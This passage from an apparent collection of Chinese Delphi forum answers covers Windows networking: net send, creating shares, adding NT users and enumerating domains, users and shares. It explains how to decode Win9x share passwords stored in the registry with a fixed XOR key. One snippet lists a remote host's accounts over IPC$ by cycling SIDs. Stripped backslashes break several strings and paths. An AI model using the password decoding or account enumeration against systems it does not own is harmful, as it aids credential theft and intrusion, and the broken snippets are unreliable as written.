BrowseInfo.hwndOwner := Application.Handle;

BrowseInfo.pidlRoot := ItemIDList;

BrowseInfo.pszDisplayName := ComputerName;

Title := DialogTitle;

BrowseInfo.lpszTitle := PChar(Pointer(Title));

if bNewStyle then

BrowseInfo.ulFlags := BIF_BROWSEFORCOMPUTER or BIF_USENEWUI

else

BrowseInfo.ulFlags := BIF_BROWSEFORCOMPUTER;

WindowList := DisableTaskWindows(0);

try

Result := SHBrowseForFolder(BrowseInfo) <> nil;

finally

EnableTaskWindows(WindowList);

end;

if Result then CompName := ComputerName;

finally

if Succeeded(SHGetMalloc(ShellMalloc)) then

ShellMalloc.Free(ItemIDList);

end;

end;

// Example

procedure TForm1.Button1Click(Sender: TObject);

var

Computer: string;

begin

BrowseComputer('...', Computer, True);

label1.Caption := Computer;

end;


实现Net send命令？
implement net send?

主要是要向局域网内的机器发送信息。

function NetSend(dest, Source, Msg: string): Longint; overload;

type

TNetMessageBufferSendFunction = function(servername, msgname, fromname: PWideChar;

buf: PWideChar; buflen: Cardinal): Longint;

stdcall;

var

NetMessageBufferSend: TNetMessageBufferSendFunction;

SourceWideChar: PWideChar;

DestWideChar: PWideChar;

MessagetextWideChar: PWideChar;

Handle: THandle;

begin

Handle := LoadLibrary('NETAPI32.DLL');

if Handle = 0 then

begin

Result := GetLastError;

Exit;

end;

@NetMessageBufferSend := GetProcAddress(Handle, 'NetMessageBufferSend');

if @NetMessageBufferSend = nil then

begin

Result := GetLastError;

Exit;

end;

MessagetextWideChar := nil;

SourceWideChar := nil;

DestWideChar := nil;

try

GetMem(MessagetextWideChar, Length(Msg) * SizeOf(WideChar) + 1);

GetMem(DestWideChar, 20 * SizeOf(WideChar) + 1);

StringToWideChar(Msg, MessagetextWideChar, Length(Msg) * SizeOf(WideChar) + 1);

StringToWideChar(Dest, DestWideChar, 20 * SizeOf(WideChar) + 1);

if Source = '' then

Result := NetMessageBufferSend(nil, DestWideChar, nil,

MessagetextWideChar, Length(Msg) * SizeOf(WideChar) + 1)

else

begin

GetMem(SourceWideChar, 20 * SizeOf(WideChar) + 1);

StringToWideChar(Source, SourceWideChar, 20 * SizeOf(WideChar) + 1);

Result := NetMessageBufferSend(nil, DestWideChar, SourceWideChar,

MessagetextWideChar, Length(Msg) * SizeOf(WideChar) + 1);

FreeMem(SourceWideChar);

end;

finally

FreeMem(MessagetextWideChar);

FreeLibrary(Handle);

end;

end;

function NetSend(Dest, Msg: string): Longint; overload;

begin

Result := NetSend(Dest, '', Msg);

end;

function NetSend(Msg: string): Longint; overload;

begin

Result := NetSend('', '', Msg);

end;

// Example:

procedure TForm1.Button1Click(Sender: TObject);

const

NERR_BASE = 2100;

NERR_NameNotFound = NERR_BASE + 173;

NERR_NetworkError = NERR_BASE + 36;

NERR_Success = 0;

var

Res: Longint;

sMsg: string;

begin

Res := NetSend('LoginName', 'Your Message...');

case Res of

ERROR_ACCESS_DENIED: sMsg := 'user does not have access to the requested information.';

ERROR_INVALID_PARAMETER: sMsg := 'The specified parameter is invalid.';

ERROR_NOT_SUPPORTED: sMsg := 'This network request is not supported.';

NERR_NameNotFound: sMsg := 'The user name could not be found.';

NERR_NetworkError: sMsg := 'A general failure occurred in the network hardware.';

NERR_Success: sMsg := 'Message sent!';

end;

ShowMessage(sMsg);

end;


局域网聊天程序

附件>>>> xchat.rar


共享文件夹
uses Registry

var

MyReg:TRegistry;

//以下为注册表修改

MyReg:=TRegistry.Create ;

MyReg.RootKey :=HKEY_LOCAL_MACHINE;MyReg.OpenKey ('',True)

begin

MyReg.WriteInteger('Flags',258); //共享为完全共享

MyReg.WriteInteger('Type',0);

MyReg.WriteString('Path','C:);//共享

MyReg.WriteString('Remark','');

MyReg.CloseKey ;

end;

见笑了

***************

DELPHI 关于WIN9X下共享文件夹问题

作者：房客（Jason）

经常看到有人问起如何在程序中增加和删除共享文件夹，于是就尽可能把相关信息写出来，更深入答案还请大虾共同讨论。

共享/删除共享可以直接调用标准的Win32API函数 NetShareAdd()和NetShareDel()。

建立共享目录函数：Function NetShareAdd(servername:PChar; level:SmallInt;buf:Pointer; buf_len:SmallInt):SmallInt;far;stdcall;external 'svrapi.dll';

撤销共享目录函数：Function NetShareDel(servername:PChar;buf:Pointer; reserved:SmallInt):SmallInt;far;stdcall;external 'svrapi.dll';

这里再提供两个关于连接共享目录/撤销共享目录函数WnetAddConnection和WnetCancelConnection。

关于映射网络驱动器的方法如下：

WNetAddConnection(%共享目录名%,%口令%,'X:'); //映射X盘

WNetCancelConnection('X:',True); //撤销X盘映射

关于建立/撤消共享的函数返回变量说明如下：

const NETNAME_LEN = 13;PASSWORD_LEN = 9;SHI50F_RDONLY = $0001;

SHI50F_FULL = $0002;SHI50F_DEPENDSON = $0003;

SHI50F_ACCESSMASK = $0003;SHI50F_PERSIST = $0100;

SHI50F_SYSTEM = $0200;STYPE_DISKTREE = 0;

STYPE_PRINTQ = 1;STYPE_DEVICE = 2;

STYPE_IPC = 3;NERR_Success = 0;

NERR_BASE = 2100; //常量说明

NERR_UnKnownDevDir=(NERR_BASE+16);NERR_UnknownServer=(NERR_BASE+3);

NERR_ServerNotStarted=(NERR_BASE+14);NERR_RedirectedPath=(NERR_BASE+17);

NERR_DuplicateShare=(NERR_BASE+18);NERR_BufTooSmalll=(NERR_BASE+23); //NetShareAdd返回错误

NERR_NetNotStarted = (NERR_BASE+2);

NERR_ServerNotStarted = (NERR_BASE+14);

NERR_NetNameNotFound = (NERR_BASE+210);

NERR_ShareNotFound = (NERR_BASE+292); //NetShareDel返回错误

SHARE_INFO_50=Record

netname:array [0..NETNAME_LEN-1] of Char;

sharetype:ShortInt;

flags:SmallInt;

remark:PChar;

path:PChar;

rw_password:array [0..PASSWORD_LEN-1] of Char;

ro_password:array [0..PASSWORD_LEN-1] of Char;

End; //以上为类型定义

再有就是关于Window9X共享目录口令问题（其实屏保口令也是同样保存的）,口令（原始为十六进制字符）在注册表位置：HKEY_LOCAL_MACHINE_version\u20849共享文件夹名enc和Parm2enc两位置，Parm1enc为对应的是完全共享密码，Parm2enc对应的是只读共享密码。字符与数列(前八个数是35,9A,4D,A6,53,A9,D4,6A)作异或运算即得密码的二进制ASCII码，转换后可得到密码。

另外提供一个比较幼稚但可行的方案（在注册表做动作）：

var reg : TRegistry; name : String; //s是在网上邻居里的文件夹名

begin

name := 'DirName'；//建立一个只读,无密码共享目录

reg := TRegistry.Create;

reg.RootKey := HKEY_LOCAL_MACHINE;

reg.OpenKey('Software+name,true );

reg.WriteInteger( 'Flags', 401 ) ; //权限:401代表为访问，258为完全访问，259为密码访问

reg.WriteInteger( 'Parm1enc', 0 ) ; //参数2,放置完全访问密码,已加密

reg.WriteInteger( 'Parm2enc', 0 ) ; //参数2,放置只读访问密码,已加密

reg.WriteString( 'Path', 'C:' ) ; //放置要共享的目录的绝对路径

reg.WriteString( 'Remark', '' ) ;

reg.WriteInteger( 'Type', 0 ) ;

end;

这样的缺点就是要重启系统，可以ExitWindowsEx( EWX_FORCE and EWX_SHUTDOWN , 0 )来重启。

此外你还可以使用控件File Sharing 95/98，该控件包含了几个方便的function：ShareResource、DeleteShare、GetShareInfo、SetShareInfo、GetNetErrorString等。

附：关于NetUserAdd等相关API

WNetCloseEnum 结束网络资源列表

WNetConnectionDialog 开始网络连接对话框

WNetDisconnectDialog 断开网络对话框

WNetEnumResource 继续列表网络资源

WNetGetConnection 获取网络资源名

WNetGetLastError 返回网络函数最近错误

WNetGetUser 获取当前网络用户名

WNetOpenEnum 列出网络资源


设置共享权限呢
NetShareAdd可以设置目录共享，可如何设置共享权限呢？

查了以前答案发现这样一个回答－－SetFilePermission，

可我哪都翻遍了(MSDN,VC,Delphi,BCB)也没找到这个Api?

从来没做过这种东西，希望最好能给段代码。

用法如下:

BOOL SetFilePermission(LPCTSTR lpFileName, // address of string for filename

SECURITY_INFORMATION SecurityInformation, // type of information to set

PSECURITY_DESCRIPTOR pSecurityDescriptor // address of security descriptor

);

SECURITY_INFORMATION用于指示下面一个参数的类型, 它可以取如下的值:

OWNER_SECURITY_INFORMATION

文件和目录的所有者信息

GROUP_SECURITY_INFORMATION

主组信息

DACL_SECURITY_INFORMATION

自由的访问控制列表(ACL)信息

SACL_SECURITY_INFORMATION

系统的访问控制列表(ACL)信息

请您参考下列API函数和数据结构以获得设置权限的进一步的信息:

ACL (DataStructure, Access Control List)

Get/SetSecurityDescriptorDacl

Get/SetSecurityDescriptorGroup

Get/SetSecurityDescriptorOwner

Get/SetSecurityDescriptorSacl

记住一个要点就可以了:

一WIN9X用SVRAPI.DLL

-NT/2000用NETAPI32.DLL


如何验证NT帐号
已知： User Name、Password、Domain,如何验证该User为该Domain的合法User?

：Pipi. 时间：00-12-9 22:51:48 ID:413980

使用LogonUser看能不能成功。（仅能在nt下使用

不能在win9x上使用）

目前好象只能使用LogonUser,如果你熟悉LSA API的话或许LSA好用一些，但太复杂了。

进程调用LogonUser需要有SE_TCB_NAME特权，在特定情况下也需要

SE_CHANGE_NOTIFY_NAME特权。

获得特权可以参考下面的示例：

if( !OpenProcessToken(

GetCurrentProcess(),

TOKEN_QUERY | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_PRIVILEGES,

&hProcessToken ) )

// Error Process;

if( !LookupPrivilegeValueA( NULL, lpPrivilegeName, &(tp.Privileges[0].Luid) ) )

// Error Process;

tp.PrivilegeCount = 1;

tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if( !AdjustTokenPrivileges(

hProcessToken,

FALSE,

&tp,

sizeof(TOKEN_PRIVILEGES) + sizeof( LUID_AND_ATTRIBUTES ) * 2,

NULL,

NULL ) )

// Error Process;

CloseHandle( hProcessToken );

：热水 时间：00-12-11 18:26:27 ID:415513

补充：

Procedure Login(sUserID:WideString;sAPassWord):Boolean;

var

sAID:String;

LL:Handle;

begin

sAID:=sUerID;//重点Pchar不支持WideString

sDomainName:=....//读取注册表

Flag:=LogonUser(pchar(sAID),pchar(sDomainName),pchar(sAPassWord),LOGON32_LOGON_NETWORK,LOGON32_PROVIDER_DEFAULT,LL);

If not Flag then

begin

Result:=False

else

Result:=True;


搜索共享资源
Function GetUserResource( UserName : string ; var List : TStringList ) : Boolean;

Var

NetResource : TNetResource;

Buf : Pointer;

Count,BufSize,Res : DWord;

Ind : Integer;

lphEnum : THandle;

Temp : TNetResourceArray;

Begin

Result := False;

List.Clear;

FillChar(NetResource, SizeOf(NetResource), 0); //初始化网络层次信息

NetResource.lpRemoteName := @UserName[1]; //指定计算机名称

Res := WNetOpenEnum( RESOURCE_GLOBALNET, RESOURCETYPE_ANY,RESOURCEUSAGE_CONNECTABLE, @NetResource,lphEnum);

//获取指定计算机的网络资源句柄

If Res <> NO_ERROR Then exit; //执行失败

While True Do //列举指定工作组的网络资源

Begin

Count := $FFFFFFFF; //不限资源数目

BufSize := 8192; //缓冲区大小设置为8K

GetMem(Buf, BufSize); //申请内存，用于获取工作组信息

Res := WNetEnumResource(lphEnum, Count, Pointer(Buf), BufSize);

//获取指定计算机的网络资源名称

If Res = ERROR_NO_MORE_ITEMS Then break;//资源列举完毕

If (Res <> NO_ERROR) then Exit; //执行失败

Temp := TNetResourceArray(Buf);

For Ind := 0 to Count - 1 do

Begin

List.Add(Temp^.lpRemoteName);

Inc(Temp);

End;

End;

Res := WNetCloseEnum(lphEnum); //关闭一次列举

If Res <> NO_ERROR Then exit; //执行失败

Result := True;

FreeMem(Buf);

End;

procedure TForm1.Button1Click(Sender: TObject);

var

List:TstringList;

i:integer;

begin

try

List:=TstringList.Create;

if GetUserResource(edit1.text,List) then

if List.count=0 then //指定计算机下没有找到共享资源

begin

memo1.Lines.Add (edit1.text+'下没有找到共享资源！');

end

else

memo1.Lines.Add (edit1.text+'下的所有共享资源如下：');

for i:=0 to List.Count-1 do

begin

Memo1.lines.Add (List.strings[i]);

end;

finally

List:=TstringList.Create; //如有异常则释放分配的资源

end;

end;


编程添加NT用户
给你源程序。

type USER_INFO_1=record

usri1_name:pwidechar;

usri1_password:pwidechar;

usri1_password_age:dword;

usri1_priv:dword;

usri1_home_dir:pwidechar;

usri1_comment:pwidechar;

usri1_flags:dword;

usri1_script_path:pwidechar;

end;

buffer=^USER_INFO_1;

var

Form1: TForm1;

implementation

{$R *.DFM}

function NetUserAdd(Server:PWideChar;Level:DWORD;Buf:pointer;ParmError

: dword):LongInt;

stdcall; external 'netapi32.dll'

procedure TForm1.Button1Click(Sender: TObject);

var buf:buffer;

error:pchar;

begin

getmem(buf,sizeof(USER_INFO_1));

with buf^ do

begin

usri1_name:='123e';

usri1_password:='123456789';

usri1_password_age:=0;

usri1_priv:=1;

usri1_home_dir:=nil;

usri1_comment:=nil;

usri1_flags:=1;

usri1_script_path:=nil;

end;

netuseradd(nil,1,pointer(buf),

// showmessage(inttostr(netuseradd(nil,1,pointer(buf),0)));

freemem(buf);

end;


设置共享目录
怎样在Delphi程序中设置共享文件夹？我试过很多种方法，但均失败。急请高手指点。

1、设置HKEY_LOCAL_MACHINE

2、

SVRAPI.DLL里有

NetShareAdd;

NetShareDel;

NetShareGetInfo;

NetShareSetInfo;

NetShareAdd

The NetShareAdd function shares a server resource.

Security Requirements

Only members of the Administrators or Account Operators local group or those with Communication, Print, or Server operator group membership can successfully execute the NetShareAdd function. The Print operator can add only Printer queues. The Communication operator can add only communication-device queues.

Windows NT/2000: The parameter order is as follows.

NET_API_STATUS NetShareAdd(

LPWSTR servername,

DWORD level,

LPBYTE buf,

LPDWORD parm_err

);

Windows 95/98: You must specify the size of the information buffer, in bytes, using the cbBuffer parameter. The Windows NT/Windows 2000 parm_err parameter is not available on this platform. Therefore, the parameter list is as follows.

extern API_FUNCTION

NetShareAdd(

const char FAR * pszServer,

short sLevel,

const char FAR * pbBuffer,

unsigned short cbBuffer

);

Parameters

servername

[in] Pointer to a Unicode (Windows NT/2000) or ANSI (Windows 95/98) string specifying the name of the remote server on which the function is to execute. The string must begin with \. If this parameter is NULL, the local computer is used.

level

[in] Specifies the information level of the data. This parameter can be one of the following values.

Windows NT/2000: The following levels are valid. Value Meaning

2 Specifies information about the shared resource, including name of the resource, type and permissions, and number of connections. The buf parameter points to a SHARE_INFO_2 structure.

502 Specifies information about the shared resource, including name of the resource, type and permissions, number of connections, and other pertinent information. The buf parameter points to a SHARE_INFO_502 structure.

Windows 95/98: The following level is valid. Value Meaning

50 Specifies information about the shared resource, including the name and type of the resource, a comment associated with the resource, and passwords. The pbBuffer parameter points to a share_info_50 structure. Note that the string you specify in the shi50_path member must contain only uppercase characters. If the path contains lowercase characters, calls to NetShareAdd can fail with NERR_UnknownDevDir or ERROR_BAD_NET_NAME.

buf

[in] Pointer to the buffer that specifies the data. The format of this data depends on the value of the level parameter.

parm_err

[out] Pointer to a DWORD value that receives the index of the first member of the share information structure that causes the ERROR_INVALID_PARAMETER error. If this parameter is NULL, the index is not returned on error. For more information, see the NetShareSetInfo function.

Return Values

If the function succeeds, the return value is NERR_Success.

If the function fails, the return value can be one of the following error codes.

Value Meaning

ERROR_ACCESS_DENIED The user does not have access to the requested information.

ERROR_INVALID_LEVEL The value specified for the level parameter is invalid.

ERROR_INVALID_NAME The character or file system name is invalid.

ERROR_INVALID_PARAMETER The specified parameter is invalid.

NERR_DuplicateShare The share name is already in use on this server.

NERR_RedirectedPath The operation is invalid for a redirected resource. The specified device name is assigned to a shared resource.

NERR_UnknownDevDir The device or directory does not exist.

Remarks

Windows 95/98: See the NetShareAdd Sample (Windows 95/98) topic to view a code sample that demonstrates how to use the NetShareAdd function.

Windows NT/2000: The following code sample demonstrates how to share a network resource using a call to the NetShareAdd function. The code sample fills in the members of the SHARE_INFO_2 structure and calls NetShareAdd, specifying information level 2.

#define UNICODE

#include <windows.h>

#include <stdio.h>

#include <lm.h>

void wmain( int argc, TCHAR *argv[ ])

{

NET_API_STATUS res;

SHARE_INFO_2 p;

DWORD parm_err = 0;

if(argc<2)

printf("Usage: NetShareAdd server");

else

{

//

// Fill in the SHARE_INFO_2 structure.

//

p.shi2_netname = TEXT("TESTSHARE");

p.shi2_type = STYPE_DISKTREE; // disk drive

p.shi2_remark = TEXT("TESTSHARE to test NetShareAdd");

p.shi2_permissions = 0;

p.shi2_max_uses = 4;

p.shi2_current_uses = 0;

p.shi2_path = TEXT("C:\");

p.shi2_passwd = NULL; // no password

//

// Call the NetShareAdd function,

// specifying level 2.

//

res=NetShareAdd(argv[1], 2, (LPBYTE) &p, &parm_err);

//

// If the call succeeds, inform the user.

//

if(res==0)

printf("Share created.");

// Otherwise, print an error,

// and identify the parameter in error.

//

else

printf("Error: %u=%u", res, parm_err);

}

return;

}

If you are programming for Active Directory, you may be able to call certain Active Directory Service Interface (ADSI) methods to achieve the same functionality you can achieve by calling the network management share functions. For more information, see IADsFileShare.

Requirements

Windows NT/2000: Requires Windows NT 3.1 or later.

Windows 95/98: Requires Windows 95 or later.

Header: Declared in Lmshare.h (Windows NT/2000) or Svrapi.h (Windows 95/98); include Lm.h (Windows NT/2000).

Library: Use Netapi32.lib (Windows NT/2000) or Svrapi.lib (Windows 95/98)


获取NT的全部用户名称及其他相关信息？如用户描述等。
：淡淡的笑, 时间：2001-8-27 19:17:00, ID：607642

EdtHostName.Text 为本机的IP地址或远端IP地址(必须开放IPC$,默认为开)

procedure TForm1.Button1Click(Sender: TObject);

var

seaNetResource:NETRESOURCE;

seaResult:DWORD;

seaAccessBuffer:string[255];

seaAccessBufferLength:DWORD;

sidbuffer:string[255];

lpAccessBuffer:PChar;

seaSID:PSID;

seaSIDlength:DWORD;

seaReferencedDomainName:string[255];

seaReferencedDomainNameLength:DWORD;

lpReferencedDomainName:PChar;

seaSIDnameuse:SID_NAME_USE;

tempPchar:Pchar;

SidSubCount:PUCHAR;

i,j:integer;

StoreCount:byte;

tempPDWORD:PDWORD;

tempDWORD:DWORD;

storeSIDsub: array [0..8] of Integer;

seaSidIdentify:PSIDIdentifierAuthority;

newSID:PSID;

seaAccountBuffer:String[255];

pAccountName:LPTSTR;

AccountLength:DWORD;

BlResult:Boolean;

SeedLine:string;

const

AccountType:array [0..8] of string=('','User','Group','Domain','alias',

'WelknowGroup','Deleted','Invalid','Unknown');

begin

Button1.Enabled:=False;

lpAccessBuffer:=@seaAccessBuffer;

lpReferencedDomainName:=@seaReferencedDomainName;

seaSID:=@sidbuffer;

seaAccessBufferLength:=64;

seaSIDLength:=255;

seaReferencedDomainNameLength:=255;

seaNetResource.dwScope:=RESOURCE_GLOBALNET;

seaNetResource.dwType:=RESOURCETYPE_ANY;

seaNetResource.lpLocalName:=PChar('');

seaNetResource.lpRemoteName:=PChar('\'+EdtHostName.Text+'$');

seaNetResource.lpProvider:=PChar('');

seaResult:=WNetAddConnection2(seaNetResource,PChar(''),PChar(''),CONNECT_PROMPT);

if seaResult=NO_ERROR then

begin

if LookupAccountName(PChar('\'+EdtHostName.Text),Pchar(seedline),seaSID,seaSIDlength,

lpReferencedDomainName,seaReferencedDomainNamelength,seaSIDnameuse)

then

begin

cpDomain.Caption:=string(lpReferencedDomainName);

seaSidIdentify:=GetSidIdentifierAuthority(seaSID);

SidSubCount:=GetSidSubAuthorityCount(seaSID);

StoreCount:=SidSubCount^;

for i:=0 to Integer(StoreCount)-1 do

begin

tempPDWORD:=GetSidSubAuthority(seaSID,i);

storeSIDsub[i]:=tempPDWORD^;

end;

//start to get username

pAccountName:=@seaAccountBuffer ;

seaReferencedDomainNameLength:=255;

AccountLength:=255;

storeSIDsub[StoreCount-1]:=500;

if AllocateAndInitializeSid(seaSidIdentify^,SidSubCount^,StoreSidSub[0],

StoreSidSub[1],StoreSidSub[2],StoreSidSub[3],StoreSidSub[4],

StoreSidSub[5],StoreSidSub[6],StoreSidSub[7],newSID) then

begin

if LookupAccountSid(PChar('\'+EdtHostName.Text),newsid,

pAccountName,AccountLength,lpReferencedDomainName,

seaReferencedDomainNameLength,seaSIDnameuse)

then

begin

lbAdmin.Caption:=String(pAccountName);

ListBox1.Items.Add('\'+lpReferencedDomainName+'+pAccountName+' Built-in Admin');

end

else

exit;

FreeSid(newSID);

//tempDWORD:=GetLastError;

j:=1;

i:=1000;

while j<=30 do

begin

seaReferencedDomainNamelength:=255;

AccountLength:=255;

StoreSidSub[StoreCount-1]:=i;

AllocateAndInitializeSid(seaSidIdentify^,SidSubCount^,StoreSidSub[0],

StoreSidSub[1],StoreSidSub[2],StoreSidSub[3],StoreSidSub[4],

StoreSidSub[5],StoreSidSub[6],StoreSidSub[7],newSID);

if LookupAccountSid(PChar('\'+EdtHostName.Text),newsid,

pAccountName,AccountLength,lpReferencedDomainName,

seaReferencedDomainNameLength,seaSIDnameuse)

then

begin

if seaSIDnameuse=sidTypeInvalid then j:=j+1

else if seaSIDnameuse<>sidTypeDeletedAccount then

begin

j:=0;

ListBox1.Items.Add('\'+lpReferencedDomainName+

'+pAccountName+' '+AccountType[seaSIDnameuse]);

StatusBar1.SimpleText:=pAccountName;

end;

end

else

j:=j+1;

Application.ProcessMessages;

i:=i+1;

FreeSID(newsid);

end;

end;

end

else ShowMessage('Cannot locate sid infomation!');

end

else ShowMessage('Connection Error!');

WNetCancelConnection2(PChar('\'+EdtHostName.Text+'$'),0,true);

Button1.Enabled:=True;

end;


获取Windows用户列表
获取Windows用户列表

Steven Lam <Lam@onlineprogrammer.org>

Dear Kingron,

The question is solved already.

Anyway,thanks a lot for ur kindly attention!:)

The following source code is for ur referece.

Best regards,

Lam

///--------------------------------------------------------------

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls, ComCtrls;

type

USER_INFO_10 = packed record

usri10_name: LPWSTR;

usri10_comment: LPWSTR;

usri10_usr_comment: LPWSTR;

usri10_full_name: LPWSTR;

end;

PUSER_INFO_10 = ^USER_INFO_10;

function NetUserEnum (Servername: LPCWSTR;

Level: DWORD;

Filter: DWORD;

Buf: PUSER_INFO_10;

PrefMaxLen: DWORD;

EntriesRead: LPDWORD;

TotalEntries: LPDWORD;

Resume_Handle: LPDWORD

): DWORD;

stdcall;

external 'netapi32.dll';

function NetApiBufferFree (Buffer: Pointer

): DWORD;

stdcall;

external 'netapi32.dll';

type

TForm1 = class(TForm)

Button1: TButton;

ListBox1: TListBox;

procedure Button1Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.dfm}

function GetAccountList(ServerName: string; ListBox: TListBox): TListBox;

var

Buffer,

TmpBuffer : Pointer;

PrefMaxLen : Integer;

Resume_Handle,

EntriesRead,

TotalEntries : DWORD;

I,

Size : Integer;

Account,

FullName,

Comment : string;

PSrvr : PWideChar;

begin

Result := ListBox;

Result.Clear;

Result.Columns := 3;

Result.TabWidth := Result.Width div 4 - 20;

try

Size := Length (ServerName);

GetMem(PSrvr,Size * SizeOf(WideChar) + 1);

StringToWideChar(ServerName,PSrvr,Size + 1);

PrefMaxLen := -1;

EntriesRead := 0;

TotalEntries := 0;

Resume_Handle := 0;

if NetUserEnum (PSrvr, 10, $0002, @Buffer, PrefMaxLen, @EntriesRead, @TotalEntries, @Resume_Handle) = S_OK then

begin

TmpBuffer := Buffer;

for I := 0 To TotalEntries - 1 do

begin

Account := PUSER_INFO_10(TmpBuffer).usri10_name;

FullName := PUSER_INFO_10(TmpBuffer).usri10_full_name;

Comment := PUSER_INFO_10(TmpBuffer).usri10_comment;

Resume_Handle := 0;

Result.Items.Add(Account + ^I + FullName + ^I + Comment);

TmpBuffer := Pointer (DWORD (TmpBuffer) + SizeOf (USER_INFO_10));

end;

end;

finally

NetApiBufferFree (Buffer);

end;

FreeMem(PSrvr);

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

GetAccountList('', ListBox1);

end;

end.

///--------------------------------------------------------------

_____________________________________________________________

Free Resources for programmers

Ezines, Articles, Source Code, Downloads , Programming Forums

http://www.onlineprogrammer.org

_____________________________________________________________

Promote your group and strengthen ties to your members with email@yourgroup.org by Everyone.net http://www.everyone.net/?btn=tag

****************************************************

// The NetUserEnum function provides information about all user accounts on a server.

type

USER_INFO_1 = record

usri1_name: LPWSTR;

usri1_password: LPWSTR;

usri1_password_age: DWORD;

usri1_priv: DWORD;

usri1_home_dir: LPWSTR;

usri1_comment: LPWSTR;

usri1_flags: DWORD;

usri1_script_path: LPWSTR;

end;

lpUSER_INFO_1 = ^USER_INFO_1;

function NetUserEnum(ServerName: PWideChar; Level, Filter: DWORD; var Buffer: Pointer;

PrefMaxLen: DWORD; var EntriesRead, TotalEntries, ResumeHandle: DWORD): Longword; stdcall;

external 'netapi32.dll';

function NetApiBufferFree(pBuffer: PByte): Longint; stdcall; external 'netapi32.dll';

{...}

procedure TForm1.Button1Click(Sender: TObject);

var

EntiesRead : DWORD;

TotalEntries : DWORD;

UserInfo : lpUSER_INFO_1;

lpBuffer : Pointer;

ResumeHandle : DWORD;

Counter : Integer;

NetApiStatus : LongWord;

begin

ResumeHandle := 0;

repeat

// NetApiStatus :=

// NetUserEnum(PChar('\NT-Domain'), 1, 0, lpBuffer, 0,EntiesRead, TotalEntries, ResumeHandle);

NetApiStatus := NetUserEnum(nil, 1, 0, lpBuffer, 0, EntiesRead,

TotalEntries, ResumeHandle);

UserInfo := lpBuffer;

for Counter := 0 to EntiesRead - 1 do

begin

listbox1.Items.Add(WideCharToString(UserInfo^.usri1_name) + ' --> ' +

WideCharToString(UserInfo^.usri1_comment));

Inc(UserInfo);

end;

NetApiBufferFree(lpBuffer);

until (NetApiStatus <> ERROR_MORE_DATA);

end;


显示“选择域”对话框
显示“选择域”对话框？

show the 'Choose Domain' dialog?

{

If you are developing network software for Windows NT,

you usually need to ask the user to select a computer or domain

he wants to connect/login.

}

const

FOCUSDLG_DOMAINS_ONLY = 1;

FOCUSDLG_SERVERS_ONLY = 2;

FOCUSDLG_SERVERS_DOMAINS = 3;

FOCUSDLG_BROWSE_LOGON_DOMAIN = $00010000;

FOCUSDLG_BROWSE_WKSTA_DOMAIN = $00020000;

FOCUSDLG_BROWSE_OTHER_DOMAINS = $00040000;

FOCUSDLG_BROWSE_TRUSTING_DOMAINS = $00080000;

FOCUSDLG_BROWSE_WORKGROUP_DOMAINS = $00100000;

FOCUSDLG_BROWSE_ALL_DOMAINS = FOCUSDLG_BROWSE_LOGON_DOMAIN or

FOCUSDLG_BROWSE_WKSTA_DOMAIN or FOCUSDLG_BROWSE_OTHER_DOMAINS or

FOCUSDLG_BROWSE_TRUSTING_DOMAINS or FOCUSDLG_BROWSE_WORKGROUP_DOMAINS;

function SystemFocusDialog(hwndOwner: HWND; dwSelectionFlag: UINT;

wszName: PWideChar; dwBufSize: DWORD; var bOKPressed: Boolean;

wszHelpFile: PWideChar; dwContextHelpId: DWORD): DWORD; stdcall;

external 'ntlanman.dll' Name 'I_SystemFocusDialog';

function ComputerBrowser(hWndParent: HWND; wCompName: PWideChar;

dwBufLen: DWORD): Boolean;

var

dwError : DWORD;

begin

Result := False;

dwError := SystemFocusDialog(hWndParent, FOCUSDLG_SERVERS_DOMAINS or

FOCUSDLG_BROWSE_ALL_DOMAINS,

wCompName, dwBufLen, Result, nil, 0);

if dwError <> NO_ERROR then Exit;

end;

procedure TForm1.Button1Click(Sender: TObject);

var

wCompName : array[0..MAX_COMPUTERNAME_LENGTH + 1] of WideChar;

begin

if ComputerBrowser(0, wCompName, MAX_COMPUTERNAME_LENGTH + 1) then

ShowMessage(wCompName)

else

ShowMessage('no computer selected');

end;


获取域
如何知道机器所在域(Domain)以及主域控制器名字？

使用PDC函数即可。

type

NET_API_STATUS = DWORD;

var

NTNetGetDCName : function(Server, Domain: pWideChar; var DC: pWideChar):

NET_API_STATUS; StdCall;

NTNetApiBufferFree: function(lpBuffer: Pointer):

NET_API_STATUS; StdCall;

function GetPDCName: string;

const

NTlib = 'NETAPI32.DLL';

var

pDomain : PWideChar;

LibHandle : THandle;

begin

Result := '';

LibHandle := LoadLibrary(NTlib);

if LibHandle = 0 then

raise Exception.Create('Unable to map library: ' + NTlib);

try

@NTNetGetDCName := GetProcAddress(Libhandle, 'NetGetDCName');

@NTNetApiBufferFree := GetProcAddress(Libhandle, 'NetApiBufferFree');

try

if NTNetGetDCName(nil, nil, pDomain) = 0 then

Result := WideCharToString(pDomain);

finally

NTNetApiBufferFree(pDomain);

end;

finally

FreeLibrary(Libhandle);

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

ShowMessage(GetPDCName);

end;

*************************

下面的函数获取域名：

function GetDomainName: AnsiString;

type

WKSTA_INFO_100 = record

wki100_platform_id: Integer;

wki100_computername: PWideChar;

wki100_langroup: PWideChar;

wki100_ver_major: Integer;

wki100_ver_minor: Integer;

end;

WKSTA_USER_INFO_1 = record

wkui1_username: PChar;

wkui1_logon_domain: PChar;

wkui1_logon_server: PChar;

wkui1_oth_domains: PChar;

end;

type

//Win9X ANSI prototypes from RADMIN32.DLL and RLOCAL32.DLL

TWin95_NetUserGetInfo = function(ServerName, UserName: PChar; Level: DWORD; var

BfrPtr: Pointer): Integer;

stdcall;

TWin95_NetApiBufferFree = function(BufPtr: Pointer): Integer;

stdcall;

TWin95_NetWkstaUserGetInfo = function(Reserved: PChar; Level: Integer; var

BufPtr: Pointer): Integer;

stdcall;

//WinNT UNICODE equivalents from NETAPI32.DLL

TWinNT_NetWkstaGetInfo = function(ServerName: PWideChar; level: Integer; var

BufPtr: Pointer): Integer;

stdcall;

TWinNT_NetApiBufferFree = function(BufPtr: Pointer): Integer;

stdcall;

function IsWinNT: Boolean;

var

VersionInfo: TOSVersionInfo;

begin

VersionInfo.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);

Result := GetVersionEx(VersionInfo);

